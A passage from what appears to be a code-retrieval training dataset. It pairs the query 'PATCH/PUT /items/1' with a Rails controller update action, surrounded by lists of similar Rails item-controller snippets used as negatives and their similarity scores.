[ "def get_item( item )\n @session.base_url = \"http://cl.ly\"\n resp = @session.get( \"/\" + item )\n \n raise ItemNotFound if resp.status == 404\n Crack::JSON.parse(resp.body)\n end", "def show\n @items = Item.find(params[:id])\n render json: @items\n end", "def index\n @api_v1_items = Item.all\n render json: @api_v1_items\n end", "def item(uuid)\n http.get \"/items/#{uuid}\"\n end", "def show\n item = Item.find(params[:id])\n render json: item\n end", "def show\n render json: Item.find(params[:id])\n end", "def get_item\n @item = Item.find_by_id(params[:id])\n if @item\n return @item\n else \n render json: {\"message\": {\"type\": \"error\", \"content\": \"The item could not be found!\"}}\n end\n end", "def show\n render json: Item.find(params[\"id\"])\n end", "def getItems()\n return mergeWithAPI(@item_json)['data']\n end", "def show\n @item = Item.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @item.to_json() }\n end\n end", "def item\n @item = Item.find(params[:id])\n end", "def show\n @item = Item.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @item }\n end\n end", "def show\n @item = Item.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @item }\n end\n end", "def show\n @item = Item.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @item }\n end\n end", "def show\n @item = Item.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @item }\n end\n end", "def show\n @item = Item.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @item }\n end\n end", "def show\n @item = Item.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @item }\n end\n end", "def show\n @item = Item.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @item }\n end\n end", "def show\n @item = Item.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @item }\n end\n end", "def show\n @item = Item.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @item }\n end\n end", "def show\n @item = Item.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @item }\n end\n end", "def show\n @item = Item.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @item }\n end\n end", "def show\n @item = Item.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @item }\n end\n end", "def show\n @item = Item.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @item }\n end\n end", "def show\n @item = Item.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @item }\n end\n end", "def show\n @item = Item.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @item }\n end\n end", "def show\n @item = Item.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @item }\n end\n end", "def show\n @item = Item.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @item }\n end\n end", "def show\n @item = Item.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @item }\n end\n end", "def show\n @item = Item.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @item }\n end\n end", "def index\n @items = Item.find(:all, :order => 'id ASC')\n # @items = Item.all\n \n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @items }\n end\n end", "def show\n @item = @deal.items.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @item }\n end\n end", "def show\n# @item = Item.get(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @item }\n end\n end", "def show\n @item = Item.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json\n end\n end", "def index\n @items = Item.found\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @items }\n end\n end", "def index\n @items = Item.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @items }\n end\n end", "def index\n @items = Item.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @items }\n end\n end", "def index\n @items = Item.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @items }\n end\n end", "def index\n @items = Item.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @items }\n end\n end", "def get_single_item(item_id, payload = {})\n payload = payload.merge('ItemID' => item_id)\n request('GetSingleItem', payload)\n end", "def show\n @item = Item.all.where(collection_id: params[:id])\n render :json => @item\n end", "def set_api_v1_item\n @api_v1_item = Item.find(params[:id])\n end", "def index\n @items = Item.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @items }\n end\n end", "def show\n authenticate\n list = List.find(params[:id])\n items = list.items\n render json: {\n items: items,\n id: list.id\n }\n end", "def index\n #@items = Item.find_by_user_id(Session[user_id])\n @items = Item.all\n render json: @items\n end", "def show\n \n render status: 200, :json => @item\n\n end", "def show\n render json: @item\n end", "def index\n @items = current_user.items\n respond_to do |format|\n format.html\n format.json { render json: @items }\n end\n end", "def index\n @items = @deal.items\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @items }\n end\n end", "def get(item)\n run(\"show #{ item }\")\n end", "def items(); @items || CrateAPI::Items.new(); end", "def get_item(item_id, params = {})\n url = build_url('item', item_id)\n params = params.merge(item_id: item_id)\n\n http.headers(build_headers).get(url, params: params)\n end", "def show\n @feed_item = Item.find(params[:id])\n\n render json: @feed_item\n end", "def findItem\n item = Item.find(params[:id])\n if item\n return item\n else\n return render json: {data: \"Failure, could not find this item.\"}, status: :not_found\n end\n end", "def get_items\n @items\n end", "def items\n \tbegin\n \t@categories = Category.all.includes(items: [:dimensions])\n \t@ingredients = Ingredient.actives\n \trender 'api/v1/home/items', status: :ok\n \trescue Exception => e\n \t\terror_handling_bad_request(e)\n \tend\n\n\tend", "def get_items(product_id, params={})\n self.client.get(\"products/#{product_id}/items\", params)\n end", "def show\n @item = Item.find(params[:id])\n end", "def show\n @item = Item.find(params[:id])\n end", "def show\n @item = Item.find(params[:id])\n end", "def show\n @item = Item.find(params[:id])\n end", "def show\n @item = Item.find(params[:id])\n end", "def show\n @item = Item.find(params[:id])\n end", "def show\n @item = Item.find(params[:id])\n end", "def get_item_from_body(body)\n get_item_from_result(body.fetch('Item', {}))\n end", "def set_apiv1_item\n @apiv1_item = Item.find(params[:id])\n end", "def get_books(response)\n response[\"items\"]\nend", "def fetch\n result = WebApi.json!('ITFItems_440', 'GetPlayerItems', 1, { :SteamID => @steam_id64 })\n\n @items = []\n result[:items][:item].each do |item_data|\n unless item_data.nil?\n item = TF2Item.new(item_data)\n @items[item.backpack_position - 1] = item\n end\n end\n end", "def items\n @items ||= items_from_response\n end", "def path\n \"/{databaseId}/items/list/\"\n end", "def index\n @items = Item.all\n @budget = Budget.find params[:budget_id]\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @items }\n end\n end", "def get(item)\n @items[item]\n end", "def index\n render json: RequestItem.all\n end", "def show\n @item_info = ItemInfo.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @item_info }\n end\n end", "def show\n @admin_item = Admin::Item.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @admin_item }\n end\n end", "def show\n @admin_item = Admin::Item.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @admin_item }\n end\n end", "def item_show\n @item = Item.find(params[:id])\n end", "def index\n @apiv1_items = Item.all.order(:name)\n end", "def items\n\t\tresponse = self.get('items').body\n\t\titems = JSON.parse(response)\n\t\tparse_items(items)\n\t\treturn items\n\tend", "def index\n @items = Admin::Item.by_agency(@current_agency.id)\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @admin_items }\n end\n end", "def get_item(course_id, item_id)\r\n relative_url = PATH_COURSES_ITEMS_ % [course_id, item_id]\r\n get(relative_url)\r\n end", "def create\n @api_v1_item = Item.new(api_v1_item_params)\n\n if @api_v1_item.save\n render json: @api_v1_item\n else\n render json: @api_v1_item.errors\n end\n end", "def show\n @item = Item.find(params[:id])\n @user = @item.user_id\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @item }\n end\n end", "def index\n @items = Item.all\n end", "def index\n @items = Item.all\n end", "def index\n @items = Item.all\n end", "def index\n @items = Item.all\n end", "def index\n @items = Item.all\n end", "def index\n @items = Item.all\n end", "def index\n @items = Item.all\n end", "def index\n @items = Item.all\n end", "def index\n @items = Item.all\n end", "def index\n @items = Item.all\n end", "def index\n @items = Item.all\n end", "def index\n @items = Item.all\n end", "def index\n @items = Item.all\n end", "def index\n @items = Item.all\n end", "def index\n @items = Item.all\n end", "def index\n @items = Item.all\n end", "def index\n @items = Item.all\n end" ]
[ "0.75331855", "0.7518009", "0.74525225", "0.7375193", "0.7284233", "0.708277", "0.7070093", "0.70205986", "0.7002268", "0.6976945", "0.69586676", "0.69368213", "0.69368213", "0.69368213", "0.69368213", "0.69368213", "0.69368213", "0.69368213", "0.69368213", "0.69368213", "0.69368213", "0.69368213", "0.69368213", "0.69368213", "0.69368213", "0.69368213", "0.69368213", "0.69368213", "0.69368213", "0.69368213", "0.69357246", "0.6881684", "0.6838771", "0.6836805", "0.68168515", "0.6812785", "0.6812785", "0.6812785", "0.6812785", "0.68075055", "0.6807464", "0.6803592", "0.6770821", "0.6763467", "0.67587686", "0.67447776", "0.6736834", "0.67070645", "0.66949964", "0.6676216", "0.6649077", "0.66073936", "0.6604041", "0.6596754", "0.6593903", "0.65845346", "0.6581006", "0.6556384", "0.6556384", "0.6556384", "0.6556384", "0.6556384", "0.6556384", "0.6556384", "0.6549106", "0.652556", "0.6517411", "0.6516345", "0.6506018", "0.6501914", "0.64983636", "0.6493515", "0.6482116", "0.6479186", "0.64764434", "0.64764434", "0.647375", "0.6473413", "0.6469398", "0.6465342", "0.6464144", "0.64545405", "0.64491284", "0.6442725", "0.6442725", "0.6442725", "0.6442725", "0.6442725", "0.6442725", "0.6442725", "0.6442725", "0.6442725", "0.6442725", "0.6442725", "0.6442725", "0.6442725", "0.6442725", "0.6442725", "0.6442725", "0.6442725" ]
0.65709233
57
PATCH/PUT /items/1 PATCH/PUT /items/1.json
def update if @item.update_attributes(item_params) render json: @item, status: :ok else render_error(@item, :unprocessable_entity) end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def update\n render json: Item.update(params[\"id\"], params[\"item\"])\n end", "def update\n\n if @api_v1_item.update(api_v1_item_params)\n render json: @api_v1_item\n else\n render json: @api_v1_item.errors\n end\n end", "def update\n\n #update the item of request_item\n if (params[:request_item].present?)\n @request_item.item = params[:request_item][:item].present? ? Item.new(name: params[:request_item][:item][:name]) : @request_item.item\n end\n #update all other parameters\n if @request_item.update(request_item_params)\n render json: @request_item\n else\n render json: @request_item.errors, status: :bad_request\n end\n\n end", "def update\n if @item.update(item_params)\n render json: @item, status: :ok\n else\n render json: @item.errors, status: :unprocessable_entity\n end\n end", "def update\n @item = @client.items.find(params[:id])\n\n respond_to do |format|\n if @item.update_attributes(item_params)\n format.html { redirect_to @item, notice: 'Item was successfully updated.' }\n format.json { render :show, status: :ok, location: @item }\n else\n format.html { render :edit }\n format.json { render json: @item.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n Rails.logger.debug params.inspect\n @item = Item.find(params[:id])\n respond_to do |format|\n if @item.update_attributes(item_params)\n format.html { redirect_to @item, notice: 'Item was successfully updated.' }\n format.json { head :no_content }\n else\n respond_with(@items)\n end\n end\n end", "def update\n \n respond_to do |format|\n if @item.update_attributes(params[:item])\n format.html { redirect_to @item, :notice => 'Item was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @item.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n @item = Item.find(params[:id])\n @item.update_attributes(params[:item])\n respond_with @item\n end", "def update\n @item = Item.find(params[:id])\n\n respond_to do |format|\n if @item.update_attributes(params[:item])\n format.html { redirect_to items_path, notice: 'Item was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @item.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @item.update_attributes(params[:item])\n format.html { redirect_to @item, notice: 'Item was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @item.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @item = Item.find(params[:id])\n\n respond_to do |format|\n if @item.update_attributes(params[:item])\n format.html { redirect_to @item, :notice => 'Item was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @item.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update!(**args)\n @items = args[:items] if args.key?(:items)\n @request_id = args[:request_id] if args.key?(:request_id)\n end", "def update!(**args)\n @items = args[:items] if args.key?(:items)\n @request_id = args[:request_id] if args.key?(:request_id)\n end", "def update\n respond_to do |format|\n if @item.update(item_params)\n format.html { redirect_to '/items', notice: 'Item was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @item.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @item = Item.find(params[:id])\n\n respond_to do |format|\n if @item.update_attributes(params[:item])\n format.html { redirect_to @item, notice: 'Item was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @item.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @item = Item.find(params[:id])\n\n respond_to do |format|\n if @item.update_attributes(params[:item])\n format.html { redirect_to @item, notice: 'Item was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @item.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @item = Item.find(params[:id])\n\n respond_to do |format|\n if @item.update_attributes(params[:item])\n format.html { redirect_to @item, notice: 'Item was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @item.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @item = Item.find(params[:id])\n\n respond_to do |format|\n if @item.update_attributes(params[:item])\n format.html { redirect_to @item, notice: 'Item was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @item.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @item = Item.find(params[:id])\n\n respond_to do |format|\n if @item.update_attributes(params[:item])\n format.html { redirect_to @item, notice: 'Item was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @item.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @item = Item.find(params[:id])\n\n respond_to do |format|\n if @item.update_attributes(params[:item])\n format.html { redirect_to @item, notice: 'Item was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @item.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @item = Item.find(params[:id])\n\n respond_to do |format|\n if @item.update_attributes(params[:item])\n format.html { redirect_to @item, notice: 'Item was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @item.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @item = Item.find(params[:id])\n\n respond_to do |format|\n if @item.update_attributes(params[:item])\n format.html { redirect_to @item, notice: 'Item was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @item.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @item = Item.find(params[:id])\n\n respond_to do |format|\n if @item.update_attributes(params[:item])\n format.html { redirect_to @item, notice: 'Item was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @item.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @item = Item.find(params[:id])\n\n respond_to do |format|\n if @item.update_attributes(params[:item])\n format.html { redirect_to @item, notice: 'Item was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @item.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @item = Item.find(params[:id])\n\n respond_to do |format|\n if @item.update_attributes(params[:item])\n format.html { redirect_to @item, notice: 'Item was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @item.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @item = Item.find(params[:id])\n\n respond_to do |format|\n if @item.update_attributes(params[:item])\n format.html { redirect_to @item, notice: 'Item was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @item.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @item = Item.find(params[:id])\n\n respond_to do |format|\n if @item.update_attributes(params[:item])\n format.html { redirect_to @item, notice: 'Item was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @item.errors, status: :unprocessable_entity }\n end\n end\n end", "def change_multiple_items\n @items = params[:items]\n\n @items.each do |item|\n @current_item = Item.find(item[:id])\n @current_item.update(quantity: item[:quantity])\n end\n\n render :json => @items.to_json\n end", "def update\n @item = Item.find(params[:id])\n\n get_relations_from_params\n\n respond_to do |format|\n if @item.update_attributes(params[:item])\n format.html { redirect_to @item, notice: 'Item was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @item.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n# @item = Item.get(params[:id])\n\n respond_to do |format|\n if @item.update(params[:item])\n format.html { redirect_to({action: :show, id: @item}, notice: 'Item was successfully updated.') }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @item.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @item = Item.find(params[:id])\n\n respond_to do |format|\n if @item.update_attributes(params[:item])\n format.html { redirect_to lists_path, :notice => 'Item was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @item.errors, :status => :unprocessable_entity }\n end\n end\n end", "def updateItem(app, repo_url, item, id)\n headers = defaultHeaders(app[\"token\"])\n data = id.merge(item).to_json\n response = HTTParty.post(repo_url,\n headers: headers,\n body: data)\n response \nend", "def update\n respond_to do |format|\n if @item.update(item_params)\n format.html { redirect_to @item, notice: 'Item was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @item.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @item.update(item_params)\n format.html { redirect_to @item, notice: 'Item was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @item.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @item.update(item_params)\n format.html { redirect_to @item, notice: 'Item was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @item.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @item.update(item_params)\n format.html { redirect_to @item, notice: 'Item was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @item.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @item.update(item_params)\n format.html { redirect_to @item, notice: 'Item was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @item.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @item.update(item_params)\n format.html { redirect_to @item, notice: 'Item was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @item.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @item.update(item_params)\n format.html { redirect_to @item, notice: 'Item was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @item.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @item.update(item_params)\n format.html { redirect_to @item, notice: 'Item was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @item.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @item.update(item_params)\n format.html { redirect_to @item, notice: 'Item was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @item.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @item = Item.find(params[:id])\n\n respond_to do |format|\n if @item.update_attributes(params[:item])\n format.html { redirect_to @item, notice: 'Item was successfully updated.' }\n format.json { respond_with_bip(@item) }\n else\n format.html { render action: 'edit' }\n format.json { respond_with_bip(@item) }\n end\n end\n end", "def update\n @item = Item.find(params[:id])\n\n respond_to do |format|\n if @item.update_attributes(item_params)\n format.html { redirect_to @item, notice: 'Item was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @item.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @item = Item.find(params[:id])\n respond_to do |format|\n if @item.update_attributes(params[:item])\n flash[:notice] = \"Item has been updated\"\n format.json { render :json => @item.to_json, :status => 200 }\n format.xml { head :ok }\n format.html { render :action => :edit }\n else\n format.json { render :text => \"Could not update item\", :status => :unprocessable_entity } #placeholder\n format.xml { render :xml => @item.errors, :status => :unprocessable_entity }\n format.html { render :action => :edit, :status => :unprocessable_entity }\n end\n end\n end", "def update\r\n @item = Item.find(params[:id])\r\n\r\n respond_to do |format|\r\n if @item.update_attributes(params[:item])\r\n format.html { redirect_to @item, notice: 'Item was successfully updated.' }\r\n format.json { head :ok }\r\n else\r\n format.html { render action: \"edit\" }\r\n format.json { render json: @item.errors, status: :unprocessable_entity }\r\n end\r\n end\r\n end", "def update\n item = Item.find(params[:id])\n if item.user == current_user\n if item.update(item_params)\n render json: item\n else\n render json: {errors: item.errors}, status: :unprocessable_entity\n end\n else\n render json: {errors: \"you can't do it\"}, status: :unprocessable_entity\n end\n end", "def update\n @item.update!(item_params)\n end", "def update_item(item_id)\n request_body = {\n 'name' => 'Malted Milkshake'\n }\n\n response = Unirest.put CONNECT_HOST + '/v1/' + LOCATION_ID + '/items/' + item_id,\n headers: REQUEST_HEADERS,\n parameters: request_body.to_json\n\n if response.code == 200\n puts 'Successfully updated item:'\n puts JSON.pretty_generate(response.body)\n return response.body\n else\n puts 'Item update failed'\n puts response.body\n return nil\n end\nend", "def update\n respond_to do |format|\n if @item.update(item_params)\n format.html { redirect_to items_path, notice: 'Item was updated successfully' }\n format.json { render :show, status: :ok, location: items_path }\n else\n format.html { render :edit }\n format.json { render json: @item.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n json_response(@food_item.update!(food_item_params))\n end", "def update\n respond_to do |format|\n if @item.update(item_params)\n format.html { redirect_to items_path, notice: 'Item ' + @item.name + ' was successfully updated.' }\n format.json { render :show, status: :ok, location: @item }\n else\n format.html { render :edit }\n format.json { render json: @item.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @item.update(item_params)\n format.html { redirect_to items_url, notice: 'Item was successfully updated.' }\n format.json { render :show, status: :ok }\n else\n format.html { render :edit }\n format.json { render json: @item.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @apiv1_item.update(apiv1_item_params)\n format.html { redirect_to @apiv1_item, notice: 'Item was successfully updated.' }\n format.json { render :show, status: :ok, location: @apiv1_item }\n else\n format.html { render :edit }\n format.json { render json: @apiv1_item.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @item.update(item_params)\n format.html { redirect_to root_path, notice: 'Item was successfully updated.' }\n format.json { render :show, status: :ok, location: @item }\n else\n format.html { render :edit }\n format.json { render json: @item.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @item.update(item_params)\n format.html { redirect_to @item, notice: 'Item was successfully updated.' }\n format.json { render :show, status: :ok, location: @item }\n else\n format.html { render :edit }\n format.json { render json: @item.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @item.update(item_params)\n format.html { redirect_to @item, notice: 'Item was successfully updated.' }\n format.json { render :show, status: :ok, location: @item }\n else\n format.html { render :edit }\n format.json { render json: @item.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @item.update(item_params)\n format.html { redirect_to @item, notice: 'Item was successfully updated.' }\n format.json { render :show, status: :ok, location: @item }\n else\n format.html { render :edit }\n format.json { render json: @item.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @item.update(item_params)\n format.html { redirect_to @item, notice: 'Item was successfully updated.' }\n format.json { render :show, status: :ok, location: @item }\n else\n format.html { render :edit }\n format.json { render json: @item.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @item.update(item_params)\n format.html { redirect_to @item, notice: 'Item was successfully updated.' }\n format.json { render :show, status: :ok, location: @item }\n else\n format.html { render :edit }\n format.json { render json: @item.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @item.update(item_params)\n format.html { redirect_to @item, notice: 'Item was successfully updated.' }\n format.json { render :show, status: :ok, location: @item }\n else\n format.html { render :edit }\n format.json { render json: @item.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @item.update(item_params)\n format.html { redirect_to @item, notice: 'Item was successfully updated.' }\n format.json { render :show, status: :ok, location: @item }\n else\n format.html { render :edit }\n format.json { render json: @item.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @item.update(item_params)\n format.html { redirect_to @item, notice: 'Item was successfully updated.' }\n format.json { render :show, status: :ok, location: @item }\n else\n format.html { render :edit }\n format.json { render json: @item.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @item.update(item_params)\n format.html { redirect_to @item, notice: 'Item was successfully updated.' }\n format.json { render :show, status: :ok, location: @item }\n else\n format.html { render :edit }\n format.json { render json: @item.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @item.update(item_params)\n format.html { redirect_to @item, notice: 'Item was successfully updated.' }\n format.json { render :show, status: :ok, location: @item }\n else\n format.html { render :edit }\n format.json { render json: @item.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @item.update(item_params)\n format.html { redirect_to @item, notice: 'Item was successfully updated.' }\n format.json { render :show, status: :ok, location: @item }\n else\n format.html { render :edit }\n format.json { render json: @item.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @item.update(item_params)\n format.html { redirect_to @item, notice: 'Item was successfully updated.' }\n format.json { render :show, status: :ok, location: @item }\n else\n format.html { render :edit }\n format.json { render json: @item.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @item.update(item_params)\n format.html { redirect_to @item, notice: 'Item was successfully updated.' }\n format.json { render :show, status: :ok, location: @item }\n else\n format.html { render :edit }\n format.json { render json: @item.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @item.update(item_params)\n format.html { redirect_to @item, notice: 'Item was successfully updated.' }\n format.json { render :show, status: :ok, location: @item }\n else\n format.html { render :edit }\n format.json { render json: @item.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @item.update(item_params)\n format.html { redirect_to @item, notice: 'Item was successfully updated.' }\n format.json { render :show, status: :ok, location: @item }\n else\n format.html { render :edit }\n format.json { render json: @item.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @item.update(item_params)\n format.html { redirect_to @item, notice: 'Item was successfully updated.' }\n format.json { render :show, status: :ok, location: @item }\n else\n format.html { render :edit }\n format.json { render json: @item.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @item.update(item_params)\n format.html { redirect_to @item, notice: 'Item was successfully updated.' }\n format.json { render :show, status: :ok, location: @item }\n else\n format.html { render :edit }\n format.json { render json: @item.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @item.update(item_params)\n format.html { redirect_to @item, notice: 'Item was successfully updated.' }\n format.json { render :show, status: :ok, location: @item }\n else\n format.html { render :edit }\n format.json { render json: @item.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @item.update(item_params)\n format.html { redirect_to @item, notice: 'Item was successfully updated.' }\n format.json { render :show, status: :ok, location: @item }\n else\n format.html { render :edit }\n format.json { render json: @item.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @item.update(item_params)\n format.html { redirect_to @item, notice: 'Item was successfully updated.' }\n format.json { render :show, status: :ok, location: @item }\n else\n format.html { render :edit }\n format.json { render json: @item.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @item.update(item_params)\n format.html { redirect_to @item, notice: 'Item was successfully updated.' }\n format.json { render :show, status: :ok, location: @item }\n else\n format.html { render :edit }\n format.json { render json: @item.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @item.update(item_params)\n format.html { redirect_to @item, notice: 'Item was successfully updated.' }\n format.json { render :show, status: :ok, location: @item }\n else\n format.html { render :edit }\n format.json { render json: @item.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @item.update(item_params)\n format.html { redirect_to @item, notice: 'Item was successfully updated.' }\n format.json { render :show, status: :ok, location: @item }\n else\n format.html { render :edit }\n format.json { render json: @item.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @item.update(item_params)\n format.html { redirect_to @item, notice: 'Item was successfully updated.' }\n format.json { render :show, status: :ok, location: @item }\n else\n format.html { render :edit }\n format.json { render json: 